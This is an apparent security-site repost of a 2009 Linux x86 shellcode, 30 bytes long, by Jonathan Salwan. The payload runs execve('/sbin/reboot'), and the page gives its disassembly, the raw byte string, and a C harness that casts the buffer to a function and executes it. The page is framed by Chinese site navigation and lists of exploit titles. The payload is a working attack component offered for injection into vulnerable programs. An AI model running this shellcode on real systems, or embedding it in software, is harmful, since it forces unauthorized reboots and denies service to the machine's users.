首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
linux/x86 PUSH reboot() - 30 bytes
来源:http://racprojet.zapto.org 作者:Salwan 发布时间:2009-01-17  

/*  Linux x86 PUSH reboot() - 30 bytes
 *  Jonathan Salwan <js.rac.projet[*AT]gmail.com>
 *  Web: http://racprojet.zapto.org
 *
 * Disassembly of section .text:
 *
 * 08048054 <.text>:
 * 8048054:       31 c0                   xor    %eax,%eax
 * 8048056:       50                      push   %eax
 * 8048057:       68 62 6f 6f 74          push   $0x746f6f62
 * 804805c:       68 6e 2f 72 65          push   $0x65722f6e
 * 8048061:       68 2f 73 62 69          push   $0x6962732f
 * 8048066:       89 e3                   mov    %esp,%ebx
 * 8048068:       50                      push   %eax
 * 8048069:       89 e2                   mov    %esp,%edx
 * 804806b:       53                      push   %ebx
 * 804806c:       89 e1                   mov    %esp,%ecx
 * 804806e:       b0 0b                   mov    $0xb,%al
 * 8048070:       cd 80                   int    $0x80
 *
 */

main()
{
char shellcode[] =
   "\x31\xc0"
   "\x50"
   "\x68\x62\x6f\x6f\x74"
   "\x68\x6e\x2f\x72\x65"
   "\x68\x2f\x73\x62\x69"
   "\x89\xe3"
   "\x50"
   "\x89\xe2"
   "\x53"
   "\x89\xe1"
   "\xb0\x0b"
   "\xcd\x80";

        printf("Length: %d\n",strlen(shellcode));
 (*(void(*)()) shellcode)();      
}


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·MetaProducts MetaTreeX V 1.5.1
·MPlayer 1.0rc2 TwinVQ Stack Bu
·Novell Netware 6.5 (ICEbrowser
·Sagem Router F@ST 2404 Remote
·Excel Viewer OCX versions 3.1
·OTSTurntables 1.00.027 (.ofl)
·Novell Netware 6.5 ICEbrowser
·Fhimage 1.2.1 Remote Index Cha
·Blue Eye CMS <= 1.0.0 (clanek)
·Fhimage 1.2.1 Remote Command E
·Ciansoft PDFBuilderX 2.2 Activ
·D-Bus Daemon < 1.2.4 (libdbus)
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved